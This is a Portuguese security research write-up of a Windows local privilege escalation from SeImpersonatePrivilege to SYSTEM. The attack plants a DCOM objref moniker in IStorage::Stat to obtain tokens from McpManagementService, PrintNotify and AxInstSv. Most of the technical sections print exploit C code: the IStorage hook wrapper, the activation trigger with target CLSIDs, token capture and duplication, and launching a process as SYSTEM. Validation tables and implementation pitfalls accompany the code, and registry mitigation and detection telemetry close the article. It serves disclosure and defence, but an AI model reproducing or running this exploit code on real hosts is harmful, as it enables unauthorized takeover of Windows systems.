chu@antisec:~/research$

← ../ mcpmanagementservice-seimpersonate-system

chu@antisec:~/research$ cat mcpmanagementservice-seimpersonate-system

Objref-in-Stat: exploração de serviços COM em svchost para escalada SeImpersonatePrivilege → SYSTEM

Análise completa do primitivo de ativação-with-storage aplicado ao McpManagementService, da sua generalização por enumeração sistemática de grupos svchost — que revelou dois serviços adicionais exploráveis (CIeAxiInstallerService e PrintNotify) — e da engenharia de execução com o token capturado. Validado em Server 2019, Server 2022, Server 2025 e Windows 11 25H2, incluindo cold-start e sessão 0.



O modelo de exploração e o estado da arte

Contas de serviço no Windows carregam SeImpersonatePrivilege: a capacidade de assumir o contexto de segurança de quem se conecta a elas. Toda a família de exploits conhecida como potato explora um único primitivo derivado desse privilégio:

O primitivo — convencer um processo que já executa como SYSTEM a autenticar-se em um recurso controlado pelo atacante. A impersonação do cliente converte o token recebido em execução de código. As variantes diferem apenas em quem é o SYSTEM atraído e qual recurso ele toca.

As implementações clássicas atraíram o SYSTEM por caminhos distintos: coerção via spooler MS-RPRN (PrintSpoofer, opnum 65, com o truque de normalização \\HOST/pipe/PATH), fluxo EFSR, ativação DCOM genérica via OXID/DSA (GodPotato) e hook SSPI (JuicyPotatoNG). Nas builds modernas, porém, esses caminhos foram fechados de forma coordenada:

  • grupos svchost que expõem classes COM tiveram o ImpersonationLevel rebaixado para 2 (IDENTIFY) — o grupo print foi o primeiro, no 24H2+;
  • o listener \pipe\spoolss foi removido do epmapper nos clientes;
  • os bindings do fluxo OXID/DSA passaram a ser descartados;
  • o EFSR ganhou checagem de autenticação no lado do serviço e aposentou os UUIDs antigos.

A questão de pesquisa que motiva este artigo não é a de contornar cada mitigação individualmente, e sim a de identificar serviços COM hospedados em svchost que ainda executem no nível de impersonação padrão (3 = IMPERSONATE) e que aceitem fluxos de ativação nos quais o serviço processe um objeto marshalado do atacante. A resposta envolveu duas fases: a implementação do primitivo contra o McpManagementService (seções 4–7) e a enumeração sistemática dos grupos svchost, que revelou dois serviços adicionais exploráveis pela mesma receita (seções 8–9).


O critério de vulnerabilidade: impersonação por grupo no Registro

O McpManagementService ("Universal Print Management Service") é um serviço SYSTEM hospedado em svchost -k McpManagementServiceGroup, com start type demand, presente por padrão em Server 2022+, Server 2025 e Windows 11 modernos. Sua classe principal está registrada da seguinte forma:

registro — CLSID, AppID e grupo svchostcmd
; HKLM\SOFTWARE\Classes\CLSID\{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}
    (Default)    = Universal Print Management Manager Class
    AppID        = {C08E4363-9771-4955-A002-09932AE4874B}
; HKLM\SOFTWARE\Classes\AppID\{C08E4363-...}
    LocalService = McpManagementService
; HKLM\...\Svchost\McpManagementServiceGroup
    → subkey ImpersonationLevel AUSENTE = nível padrão 3 (IMPERSONATE)

O controle de defesa relevante é a subkey ImpersonationLevel sob o grupo svchost: quando presente, ela define o teto do token que o serviço recebe dos clientes; quando ausente, vige o padrão da plataforma (3). Essa é a mesma política que a Microsoft aplicou ao grupo print — e o critério de vulnerabilidade desta técnica resume-se a uma linha:

Critério — ausência de ImpersonationLevel no grupo svchost = SYSTEM alcançável por um chamador com SeImpersonatePrivilege, desde que a classe aceite o fluxo de ativação-with-storage. O valor 2 reduz o token do callback a IDENTIFY e mata a técnica.

O reconhecimento cabe em três comandos de registro (CLSID → AppID → LocalService → grupo → presença da subkey), reproduzíveis em qualquer host-alvo sem elevação adicional.


Fundamentos DCOM: OBJREF, moniker objref e activation-with-storage

O primitivo se apoia em três mecânicas do DCOM que, isoladas, são comportamento documentado e inofensivo. Esta seção reconstrói cada uma com o nível de detalhe necessário para que o passo a passo da seção 4 seja acompanhado sem lacunas — e fecha com a visão do caminho completo dos dados durante a exploração. Todos os exemplos de bytes e strings a seguir são reais: foram capturados pelo probe da seção 8 durante os runs de validação.

3.1 ORPC: quando um objeto COM atravessa a fronteira do processo

Um objeto COM vive em um processo. Quando outro processo obtém uma referência a ele, o que atravessa a fronteira não é o objeto — é uma estrutura de wire, o OBJREF, que descreve onde a interface real está e qual interface é. O lado remoto recebe um proxy; cada método chamado no proxy vira uma chamada ORPC que viaja de volta ao processo exportador e executa no objeto verdadeiro. Duas propriedades importam para a técnica:

  • as chamadas ORPC executam no exportador — quem escreveu o objeto escolhe o que acontece quando alguém o toca;
  • o nível de impersonação do callback é definido pelo chamador (o QOS da chamada dele) — esse detalhe separa os vetores exploráveis dos inúteis, como a seção 9.1 demonstra.

3.2 A anatomia do OBJREF

O OBJREF de marshaling padrão tem cabeçalho fixo e corpo variável. Abaixo, os bytes reais do primeiro OBJREF emitido pelo probe nos runs de validação (antes do base64 que forma o display name):

4d454f57  signature  "MEOW"                 ← assinatura canônica de todo OBJREF
01000000  flags      0x1 = OBJREF_STANDARD
00000000 00000000
c0000000 00000046  iid     IID_IUnknown            ← a interface marshalada
01000000 00000000  oxid                            ← identifica o PROCESSO exportador
af00dd80 e601abe8 535ecac3 59e28bb5  ipid          ← a interface exata, dentro dele
0234 0000 68227c0f 5cb1bcee ad1def88 85006f00 ...
                   saResAddr  DUALSTRINGARRAY — binding do OXID resolver do
                              exportador: hostname, IPv4, IPv6, MAC
fig 01 — OBJREF capturado pelo probe no Server 2025: campos fixos (48 bytes) e o início do string binding. Dentro da isca viaja o endereço completo do atacante: OXID, IPID e o binding do resolver com hostname e IPs.

Campo a campo:

Campos do OBJREF padrão
campobytespapel
signature40x574F454D — a constante "MEOW", presente em todo OBJREF
flags4formato do corpo: 0x1 standard, 0x2 handler, 0x4 custom
IID16a interface marshalada (no probe: IID_IUnknown)
OXID8identifica o processo exportador — o alvo do bind
IPID16identifica a interface específica dentro do processo exportador
string bindingvariávelDUALSTRINGARRAY com hostname/endereços do OXID resolver do exportador

Nota para defesa — o string binding do OBJREF embute o hostname e os endereços de rede de quem exporta. No fluxo da técnica, essa identidade viaja dentro da string que o serviço recebe em Stat: um serviço que registre o nome resolvido está, sem saber, logando a origem do atacante.

3.3 OXID resolver: como o bind encontra o processo

O OXID, sozinho, é apenas um número. Quem o transforma em conexão é o OXID resolver: um serviço do RPCSS presente em toda máquina Windows, que mantém a tabela local de OXID → string binding. Quando um processo resolve um OBJREF, o runtime percorre três passos: (1) lê o string binding embutido no OBJREF; (2) conecta ao OXID resolver indicado; (3) troca o OXID/IPID pela localização concreta da interface — no caso de objetos locais, um canal ALPC direto para o processo exportador. A partir daí, os métodos chamados no proxy local viram ORPC no exportador. É esse serviço que também processa os pedidos de ativação — o mesmo RPCSS que recebe o CoGetInstanceFromIStorage da seção seguinte.

Moniker objref e activation-with-storage

3.4 Moniker objref: o display name como vetor de marshaling

Monikers são o mecanismo do COM para localizar e ativar objetos por nome. O objref moniker (CreateObjrefMoniker) tem uma propriedade peculiar: seu GetDisplayName produz uma string no formato objref:<OBJREF em base64> — o nome é o próprio OBJREF serializado. O pipeline padrão MkParseDisplayName reconhece o prefixo objref: e o despacha para o parser que decodifica a carga e executa o bind exatamente como na seção anterior: conecta-se ao OXID/IPID e entrega a interface ao chamador. Um exemplo real do probe — a isca completa que o Stat devolve ao serviço:

objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAACvAN2A5gGr6FNeysNZ4ou1AjQA
      AGgifA9csbzurR3viIUAbwAHAFcASQBOAC0AUgBHAEIAQgBGADAAOQBSAEcASwBCAAAABwAx
      ADkAMgAuADEANgA4AC4AMAAuADEAOAAwAAAABwAyADgAMAA0ADoAMQA0AGQAOgA3ADgAZAA1
      ADoANAA4ADIANwA6AGIAOAAzADIAOgA4ADkAMgBkADoANgBmADEANAA6ADEAOQA0ADkAAAAH...
      │ prefixo  │ base64: MEOW + flags + IID_IUnknown + OXID/IPID + binding
      │ "objref:"│ (hostname WIN-RGBBF09RGKB e endereços do laboratório, em UTF-16)
fig 02 — display name real capturado pelo probe. Quem decodificá-lo sabe exatamente qual processo e interface estão atrás dele — e de onde.

3.5 Activation-with-storage: a sequência completa

CoGetInstanceFromIStorage é o contrato do DCOM para "instancie esta classe e inicialize-a a partir deste storage". O contrato exige que a classe implemente IPersistStorage ou IPersistFile — e é aí que a porta se abre: o storage do chamador é marshalado para o servidor, e a inicialização executa métodos do storage no chamador. A sequência completa:

Sequência activation-with-storage: atacante, SCM, svchost e storage proxy
fig 03 — activation-with-storage: o storage do chamador é marshalado ao servidor, e o load faz o svchost chamar de volta métodos do atacante.

O nível de impersonação com que essas chamadas chegam depende do QOS que o servidor usou nelas — e é exatamente essa variável que separa os serviços exploráveis dos inúteis, como a seção 9.1 quantifica.

3.6 Montando o primitivo

O caminho dos dados na exploração, com as três mecânicas costuradas:

Loop objref-in-Stat: isca, MkParseDisplayName, bind e impersonação
fig 04 — objref-in-Stat: o serviço resolve a string que o atacante escolheu e o bind reentra no processo do atacante.

Com os fundamentos no lugar, os oito passos da implementação (seção 4) são a engenharia de fazer essa sequência acontecer de forma confiável — inclusive em cold-start e sessão 0.

O caminho completo, em onze passos: 1 SeImpersonatePrivilege no processo do atacante · 2 STA + CoInitializeSecurity (IMPERSONATE) · 3 wrapper IStorage com 18 slots instrumentados · 4 CreateObjrefMoniker → isca objref:... · 5 demand-start (CoCreateInstance) · 6 CoGetInstanceFromIStorage(wrapper) · 7 svchost resolve o nome via MkParseDisplayName → OXID/IPID do atacante · 8 bind → QI/Release ORPC reentra no atacante · 9 CoImpersonateClient → token SYSTEM (imp=3) · 10 NtDuplicateToken → TokenPrimary · 11 CreateProcessAsUserW → nt authority\system.


O primitivo objref-in-Stat, passo a passo

A implementação de referência (ferramenta Tabellio, modo mcp, C nativo) detalha a seguir as decisões de projeto de cada fase da sequência — da configuração do apartment ao gatilho final.

4.1 Apartment STA e configuração de segurança

apartment + segurança — decisões de projetoc
hr = CoInitialize(NULL);                      // STA — obrigatório (§7, armadilha 1)

SOLE_AUTHENTICATION_INFO sai = { RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL };
hr = CoInitializeSecurity(NULL, 1, &sai, NULL,
                          RPC_C_AUTHN_LEVEL_CONNECT,   // CONNECT é suficiente
                          RPC_C_IMP_LEVEL_IMPERSONATE, // o serviço também pode impersonar o chamador
                          NULL, EOAC_DYNAMIC_CLOAKING, NULL);

Dois pontos de projeto. O STA é requisito estrutural: os callbacks ORPC para o wrapper são entregues pela bomba de mensagens do apartment, e é a chamada bloqueante CoGetInstanceFromIStorage que os bombeia. O RPC_C_IMP_LEVEL_IMPERSONATE é o nível com que o processo do atacante se apresenta como cliente COM nas chamadas de saída (com cloaking dinâmico) — os valores exatos da receita de referência, usados sem alteração em todos os runs de validação.

4.2 O storage real por baixo do wrapper

storage real em memóriac
CreateILockBytesOnHGlobal(NULL, TRUE, &plb);
StgCreateDocfileOnILockBytes(plb, STGM_CREATE|STGM_READWRITE|STGM_SHARE_EXCLUSIVE, 0, &stg);

Um IStorage real e funcional é criado em memória. Após a captura, o wrapper repassa todas as operações a ele — o código do serviço prossegue sem erros, sem comportamento que revele a interceptação.

4.3 O wrapper: 18 slots de vtable, todos instrumentados

IStorage expõe 18 entradas de vtable: IUnknown (0–2), quatorze métodos específicos (3–16) e Stat (17). O wrapper substitui as dezoito:

wrapper IStorage — captura em todos os slotsc
HRESULT mcp_QI(void* self, REFIID riid, void** ppv) {
    Capture("QI");                              // tenta capturar em todo callback
    if (IsIUnknown(riid) || IsIStorage(riid)) { *ppv = self; return S_OK; }
    *ppv = NULL;
    return E_NOINTERFACE;
}

ULONG mcp_Release(void* self) {
    Capture("Release");                          // alguns caminhos do serviço só tocam Release
    return 1;
}

HRESULT mcp_Stat(void* self, STATSTG* p, DWORD flags) {
    Capture("Stat");
    if (capturado)
        return fwd_real(17, p, flags);          // pós-captura: repassa (evita re-bind em loop)

    memset(p, 0, sizeof(*p));
    p->type = STGTY_STORAGE;
    if (!(flags & STATFLAG_NONAME)) {
        p->pwcsName = (LPOLESTR)CoTaskMemAlloc((wcslen(g_objref) + 1) * sizeof(WCHAR));
        wcscpy(p->pwcsName, g_objref);           // ← O GANCHO: nome = objref moniker
    }
    return S_OK;
}

Três decisões se mostraram necessárias. Primeira: todos os métodos invocam a rotina de captura — caminhos do serviço tocam QI/Release sem passar pelo Stat em algumas sequências. Segunda: Stat injeta o objref uma única vez; após a captura, repassa ao storage real — a re-injeção pode fazer o serviço re-resolver o moniker em loop. Terceira: o pwcsName precisa nascer de CoTaskMemAlloc — o chamador o libera com CoTaskMemFree, e um alocador diferente produz heap corruption (0xC0000374) no processo do serviço.

4.4 Criação do objref moniker

objref moniker — o display name como iscac
CreateObjrefMoniker((IUnknown*)&wrapper, &mon);
CreateBindCtx(0, &ctx);
// GetDisplayName é o slot 20 da vtable de IMoniker
// (IUnknown 3 + IPersist 1 + IPersistStream 4 + 12 métodos de IMoniker)
hr = ((fnGDN)vt[20])(mon, ctx, NULL, &name);
// name = "objref:T...:<OBJREF do wrapper — OXID/IPID do processo do atacante>"

Neste momento o wrapper torna-se exportado: o marshaling interno do GetDisplayName registra o OXID do processo do atacante na tabela do resolver local, e o display name passa a conter tudo o que um outro processo precisa para conectar-se a ele.

4.5 Demand-start

demand-start — acordar o svchostc
if (SUCCEEDED(CoCreateInstance(&clsid_principal, NULL, CLSCTX_LOCAL_SERVER,
                               &IID_IUnknown, (void**)&punk))) {
    punk->lpVtbl->Release(punk);        // ativação simples: apenas acordar o svchost
}

O serviço tem start type demand. Essa ativação inicial existe para que o SCM o lance via a LaunchPermission do AppID — inclusive em cold-start, validado com o serviço parado antes de cada execução.

4.6 O gatilho e o fallback de CLSIDs

gatilho — activation-with-storage com fallbackc
for (c = 0; c < NCLSIDS && !capturado; c++) {
    MULTI_QI qi = { .pIID = &IID_IUnknown };
    hr = CoGetInstanceFromIStorage(NULL, &clsids[c], NULL, CLSCTX_LOCAL_SERVER,
                                   (IStorage*)&wrapper, 1, &qi);
    for (i = 0; i < 3 && !capturado; i++) Sleep(1000);   // janela para o bind orquestrado
}

Do lado do serviço, a sequência reconstruída a partir do comportamento observado: a ativação chega com o IStorage marshalado; na inicialização-from-storage, o serviço resolve o nome do storage pelo pipeline de monikers (MkParseDisplayName); o prefixo objref: roteia para o parser de objref, que unmarshala o OBJREF embutido — OXID/IPID do processo do atacante — e executa o bind: chamadas ORPC de QI/Release entregues ao wrapper, no STA do atacante, com a identidade do svchost. O HRESULT final da ativação é tipicamente 0x80004002 — irrelevante para o primitivo, pois a captura ocorre durante o unmarshal, antes do retorno.

O loop tenta múltiplos CLSIDs: a classe principal do grupo e — resultado da enumeração da seção 8 — classes de outros grupos que respondem ao mesmo primitivo. Cada candidato que falha custa até 3 segundos de janela, o que torna a ordem dos candidatos parte do projeto: o primeiro deve ser o de maior taxa de sucesso observada.

Por que funciona em sessão 0, SSH e WinRM — o bind do moniker é ALPC local: o svchost resolve o OXID pelo resolver da própria máquina e conecta ao processo do atacante. Nada no fluxo depende de console, desktop estacionado ou rede. O one-shot completo foi validado via SSH com ambos os processos na sessão 0.


Captura do token SYSTEM no callback

rotina de capturac
static void Capture(const char* tag) {
    if (g_pwned) return;                              // guard: capturar uma vez só

    if (CoImpersonateClient() != S_OK) return;       // sem direito de impersonar: fora

    hTok = NtOpenThreadToken(GetCurrentThread(), ...); // token do thread ORPC (impersonado)
    if (hTok && IsSystemTokenNt(hTok)) {               // memcmp dos 12 bytes do SID S-1-5-18
        hPrim = NtDuplicateToken(hTok, ..., TokenPrimary, ...);
        if (hPrim) { /* primário disponível para execução */ sinaliza(); }
    }
    if (hTok) NtClose(hTok);
    CoRevertToSelf();
}

Os cinco passos e suas justificativas:

  • CoImpersonateClient — o thread que entrega o ORPC assume o contexto do svchost. Como o grupo permite imp=3, o token sai no nível SecurityImpersonation: usável localmente para abrir handles e criar processos.
  • NtOpenThreadToken — o token relevante é o de thread (o impersonado), não o de processo (que permanece sendo o do atacante).
  • Checagem de SID raw — NtQueryInformationToken(TokenUser) e memcmp dos 12 bytes do SID S-1-5-18 (01 01 00 00 00 00 00 05 12 00 00 00). O nível de impersonação é um teto: se o grupo estiver rebaixado a 2, o callback acontece normalmente, mas o token é de identificação, inútil — a checagem faz o exploit degradar graciosamente em vez de falhar mais adiante.
  • NtDuplicateToken → TokenPrimary — token de impersonação não alimenta CreateProcess*; o primário sim. A duplicação ocorre imediatamente, enquanto o thread ainda está impersonado.
  • Sinalização e revert — evento desbloqueia o fluxo principal e CoRevertToSelf devolve o contexto. O guard evita capturas duplicadas nos callbacks subsequentes.

Execução com o token primário

6.1 CreateProcessWithTokenW não permite herdar handles

APIs de criação de processo — herança e resultado observado
APIbInheritHandlesresultado observado
CreateProcessWithTokenWTRUEfalha com ERROR_INVALID_PARAMETER (87) — restrição da família
CreateProcessWithTokenWFALSEprocesso criado, mas o filho não recebe as pontas de pipe do STARTF_USESTDHANDLES → saída perdida (exit 0, silencioso)
CreateProcessAsUserWTRUEprocesso criado com stdin/stdout herdados → relay completo

A estratégia resultante: CreateProcessAsUserW(TRUE) como caminho primário (é o que permite o relay de saída por pipe herdada), com fallback para CreateProcessWithTokenW(FALSE) — execução sem relay, com coleta por redirecionamento dentro do comando.

6.2 A corrida de 250 ms no relay

O loop de relay clássico (PeekNamedPipe → sem dado? espera → filho saiu? break) apresenta uma condição de corrida: um whoami escreve ~20 bytes e encerra dentro da janela de espera. Ao acordar com WAIT_OBJECT_0, o loop interrompe sem ler o pipe — a saída já estava lá e foi descartada. O sintoma característico é "escalou, criou o processo, exit 0, silencioso". A correção é drenar o pipe após detectar a saída do filho:

relay — drain após a morte do writerc · o break sem drenar descarta a saída
else if (WaitForSingleObject(pi.hProcess, 250) == WAIT_OBJECT_0) {
    while (PeekNamedPipe(hOutR, 0, 0, 0, &rest, 0) && rest) {
        ReadFile(hOutR, buf, sizeof(buf), &n, NULL);
        WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), buf, n, &n, NULL);
    }
    break;
}

A lição registrada: a morte do writer não esvazia o pipe — o estado terminal de um relay precisa incluir um drain.

6.3 Sessão 0 e canais remotos

Via SSH e WinRM, exploit e filho nascem na sessão 0. Nada na cadeia depende de console ou desktop: o bind do moniker é ALPC local, o relay usa pipes anônimas herdadas e a saída sobe pelo canal remoto. Para caminhos sem relay, a prática operacional é redirecionar dentro do próprio comando.


Armadilhas de implementação

Sete armadilhas e seus efeitos
#armadilhaefeito sem o cuidado
1Apartment errado — os callbacks ORPC são entregues no STA; a thread que chama CoGetInstanceFromIStorage deve ser a mesma do CoInitialize(NULL) (a ole32 despacha durante o bloqueio interno)callbacks nunca entregues; captura não dispara; ativação pendurada
2pwcsName com alocador errado — o chamador libera com CoTaskMemFreeheap corruption (0xC0000374) no processo do serviço
3Re-injetar o objref após a captura — Stat deve repassar ao storage real depois do sucessoserviço re-resolve o moniker; loop e comportamento errático
4CoUninitialize pós-captura — podem existir ORPCs in-flight no apartmentcrash no encerramento
5Hook apenas no Stat — versões do serviço tocam QI/Release sem passar pelo Statcaptura não dispara em alguns caminhos
6Assumir que o callback é SYSTEM — o nível depende do grupo e do contexto da chamada (§9.1); o SID precisa ser checadoduplicar um token de identificação inútil
7Duplicar para impersonação em vez de primário — CreateProcess* exige primárioerro 5/1346 na criação do processo

Enumeração sistemática de grupos svchost

Encerrada a implementação contra o McpManagementService, a pergunta natural passou a ser de cobertura: quais outros grupos svchost são exploráveis pelo mesmo primitivo? A resposta foi obtida por enumeração via Registro combinada com varredura empírica, replicada nas quatro plataformas do laboratório.

8.1 Metodologia

Fase de Registro. Cruzamento de quatro fontes: (1) grupos svchost (HKLM\...\Svchost); (2) serviços -k executando como LocalSystem; (3) override de ImpersonationLevel por grupo; (4) classes COM ligadas a esses serviços (HKCR\AppID\* → LocalService, HKCR\CLSID\* → AppID). O resultado é a lista de CLSIDs candidatos — classes SYSTEM em grupos sem teto de impersonação.

Cruzamento de Registro e varredura por CLSID
fig 05 — enumeração: cruzamento das quatro fontes de Registro, filtro de impersonação e varredura empírica por CLSID (87 · 98 · 111 · 67 classes por build).

Fase empírica. Um probe autônomo aplica o primitivo completo a cada CLSID candidato e reporta, para cada um, se o callback disparou, qual SID foi obtido, em que nível de impersonação e se o token primário é duplicável. A convenção de classificação:

Convenção de classificação do probe
classesignificado
cap=1, implvl=2callback com token SYSTEM em Impersonation, primário duplicável — vulnerável
cap=2, implvl=1callback com SID SYSTEM mas token em Identification — duplicação falha; sem escalada
cap=0nenhum callback (ativação negada, serviço desabilitado, classe sem suporte ao fluxo)

8.2 Resultados por plataforma

Varredura por plataforma
plataformaclasses sem overridesondadascap=1 (vulneráveis)cap=2 (IDENTIFY)cap=0
Server 2022 (20348.5622, CUs 09/2026)87 em 12 grupos8725728
Server 2025 (26100.32230)101 em 16 grupos9827224
Win 11 25H2 (26300.9550)111 em 20 grupos11128425
Server 2019 (17763.9245, CUs 10/2026)67 em 11 grupos6725312

Grupos exclusivos da base desktop apareceram na enumeração da 26300 (IsolationSession, SDRSVC, rdxgroup), e um dado arquitetural relevante emergiu no 20348: o grupo print não possui override nessa base (imp=3) — o rebaixamento é específico do 24H2+. O Server 2019 (17763.9245) repetiu o perfil: 67 classes em 11 grupos, print ainda em imp=3 — e sem o McpManagementService (o serviço não existe nessa base).

8.3 Os três vetores

Em todas as plataformas, exatamente dois serviços por build responderam com token SYSTEM em Impersonation. A união dos três cobre todas as bases:

Os três vetores objref-in-Stat
#CLSIDgrupo / serviçoSYSTEM em
1{A9819296-E5B3-4E67-8226-5E72CE9E1FB7}McpManagementServiceGroup / McpManagementServicetodas as três plataformas
2{854A20FB-2D44-457D-992F-EF13785D2B51}print / PrintNotifyServer 2022 e Server 2019 (no 24H2+ o grupo está rebaixado a 2)
3{90F18417-F0F1-484E-9D3C-59DCEEE5DBD8}AxInstSVGroup / AxInstSv — CIeAxiInstallerService (ActiveX Installer Service)Server 2025, Win11 25H2 e Server 2019 (apenas no Server 2022 o serviço vem DISABLED — ativação = 0x80070422)

O PrintNotify é particularmente notável: é a classe do mesmo grupo que a Microsoft rebaixou no 24H2+ — no Server 2022, onde o grupo permanece em imp=3, a técnica entrega SYSTEM com prova de execução end-to-end (nt authority\system via CreateProcessAsUserW). E o AxInstSv, por sua vez, vem desabilitado por padrão no Server 2022 (START_TYPE: 4 DISABLED) — mas ativo no Server 2019, onde entregou SYSTEM com prova de execução. O comportamento é não-monotônico entre builds: cada base precisa ser mapeada por varredura, não por inferência.

Matriz de vetores por build
fig 06 — matriz consolidada: todo build testado tem pelo menos dois serviços que entregam SYSTEM ao primitivo.

Resultados: execução end-to-end e o padrão IDENTIFY

Execução end-to-end validada
alvobuildvetorresultado
Server 202220348.5622 (CUs 09/2026)McpManagementService (primário)nt authority\system (one-shot com relay)
Server 202220348.5622PrintNotify (probe com prova de execução)nt authority\system
Server 202526100.32230McpManagementService (primário)nt authority\system
Win 11 25H226300.9550McpManagementService (primário)nt authority\system
Win 11 25H226300.9550AxInstSv — CIeAxiInstallerService (probe com prova de execução)nt authority\system
Server 201917763.9245PrintNotify + AxInstSv (probes com prova de execução)nt authority\system

Todos os runs incluíram cold-start do serviço alvo, sessão 0 (SSH) e limpeza de artefatos. O exploit de referência itera a lista de candidatos em ordem de custo — classe principal primeiro, alternativas em seguida — e interrompe no primeiro sucesso.

9.1 O padrão IDENTIFY: em que contexto o callback nasce

O achado mais significativo da varredura é o das 53–84 classes por build que disparam o callback com SID SYSTEM mas token em Identification. A explicação está em onde no fluxo do serviço a chamada ao proxy do atacante acontece:

  • McpManagementService e AxInstSv: o serviço processa a ativação-with-storage impersonando o chamador (o atacante — cujo CoInitializeSecurity define IMPERSONATE). As chamadas de saída desse contexto — inclusive o bind do moniker — herdam esse QOS, e os callbacks chegam em Impersonation (2): token utilizável.
  • Demais serviços: o callback é servido por um thread de trabalho com o QOS default do processo (IDENTIFY). O processo é SYSTEM, mas o token obtido não autoriza nada.

A pergunta de pesquisa refinou-se, portanto, de "o callback acontece?" (em ~75% das classes testadas: sim) para "o callback nasce dentro de um contexto impersonado?" — uma propriedade do caminho de código de cada serviço, atualmente determinável apenas empiricamente. Duas consequências: (a) a execução de código dentro do svchost ocorre mesmo nas classes IDENTIFY — relevante para defesa, pois é execução sem escalada; (b) serviços que alterem seu QOS default ampliam ou fecham sua exposição sem mudança no Registro.


Mitigação e detecção

10.1 Mitigação primária: fechar cada grupo pelo Registro

mitigação — fechar o grupocmd
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\McpManagementServiceGroup" ^
      /v ImpersonationLevel /t REG_DWORD /d 2 /f
:: reinicie o serviço (ou a máquina). O teto do callback vira IDENTIFY e a escalada morre.

A recomendação central é a generalização desse controle: auditar todos os grupos svchost que hospedam classes COM sem override de ImpersonationLevel. O primitivo descrito não é específico do McpManagementService — é específico do nível de impersonação, como demonstram os três vetores das seções 8 e 9. O hardening que a Microsoft aplicou ao grupo print no 24H2+ é o modelo: um valor de registro por grupo, definitivo.

10.2 Telemetria estrutural

Sinais de detecção estruturais
sinalfontenota
Service start (EID 7036) de grupos COM sem atividade legítima do aplicativo, seguido de ativação da classeSystem log + ETW COMem hosts sem Universal Print/ActiveX Installer em uso, qualquer start é anômalo
Processo SYSTEM cujo pai é um processo de conta de serviço (não services.exe), criado via CreateProcessAsUser/WithTokenSysmon EID 1 (lineage + token)o filho precisa existir para o atacante colher resultado — o lineage denuncia a origem independentemente do binário
Named pipe criada + leitura imediata + spawn encadeado na mesma janelaSysmon EID 17/18genérico; ganha força correlacionado com os sinais acima
Ativação de classes COM do grupo por contas de serviço sem histórico de usoETW COM / auditoriao reconhecimento e o gatilho passam pela mesma ativação

A divisão correta do trabalho — camadas de evasão de binário podem remover strings, GUIDs e imports, mas não podem remover o start do serviço, a ativação da classe nem o processo SYSTEM necessário para o atacante colher resultado. Por isso a defesa eficaz contra esta família é pelo Registro (fechar o grupo) e comportamental (lineage + correlação de ativação), não assinatura de binário.


Conclusões

  1. Vetores morrem; primitivos permanecem. As mitigações de 2024+ eliminaram as implementações clássicas, mas o primitivo — fazer um serviço SYSTEM impersonar o atacante durante um fluxo COM legítimo — permanece intacto onde o nível de impersonação não foi rebaixado. A enumeração sistemática demonstrou que a exposição não se limita a um serviço: três entregam SYSTEM nas quatro bases testadas, com cobertura combinada de todas.
  2. A aderência ao contrato do DCOM confere robustez. O primitivo não explora um bug de memória nem uma corrida do kernel: utiliza CoGetInstanceFromIStorage como documentada, um moniker como documentado e a impersonação como o serviço a pratica. Por isso o mesmo código atravessou três plataformas sem alteração — e por isso a mitigação precisou ser via Registro.
  3. O nível do token é propriedade do contexto do callback. A descoberta de que ~75% das classes COM de svchost respondem ao primitivo — mas com token IDENTIFY — desloca o critério de vulnerabilidade para uma pergunta sobre o caminho de código do serviço: o callback nasce dentro de um contexto impersonado? Prever isso analiticamente é a direção natural da próxima fase.
  4. A fase de execução esconde armadilhas desproporcionais. A restrição de herança do CreateProcessWithTokenW (erro 87), a corrida do drain no relay e a exigência de habilitar SeAssignPrimaryTokenPrivilege no token impersonado consumiram mais tempo de depuração do que todo o primitivo COM.

O código de referência, os scripts de enumeração e a matriz completa de validação acompanham o artigo no repositório do projeto. A direção futura imediata é a predição analítica dos candidatos (mapear o que determina o contexto impersonado no caminho de ativação de cada classe) e a ampliação da matriz para outras bases e imagens de servidor com papéis específicos (IIS, SQL).

Referências e créditos

  • zcgonvh — DCOMPotato: o primitivo de ativação DCOM com objeto do atacante, base do objref-in-Stat
  • itm4n — PrintSpoofer e a série sobre SeImpersonatePrivilege
  • antonioCoco / splinter_code — JuicyPotatoNG (mesma família, padrão pipe/SSPI)
  • Documentação Microsoft: CoGetInstanceFromIStorage, MkParseDisplayName, objref monikers, estrutura OBJREF, svchost e grupos de serviço, política de ImpersonationLevel por grupo

Artigo técnico de pesquisa de segurança. Uso exclusivo em ambientes autorizados — explorar sistemas de terceiros sem autorização é crime. Implementação de referência: Tabellio v1.7.1, modo mcp; ferramentas de enumeração e varredura no repositório do projeto.